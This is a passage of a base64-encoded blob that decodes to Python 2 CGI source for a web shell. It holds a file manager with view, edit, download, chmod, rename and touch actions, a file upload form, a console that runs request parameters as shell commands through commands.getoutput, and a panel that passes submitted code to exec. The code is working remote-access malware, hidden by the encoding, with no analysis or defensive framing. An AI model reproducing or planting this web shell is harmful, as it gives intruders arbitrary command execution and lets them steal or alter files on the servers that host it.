Cc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7CiAgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGVmIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgI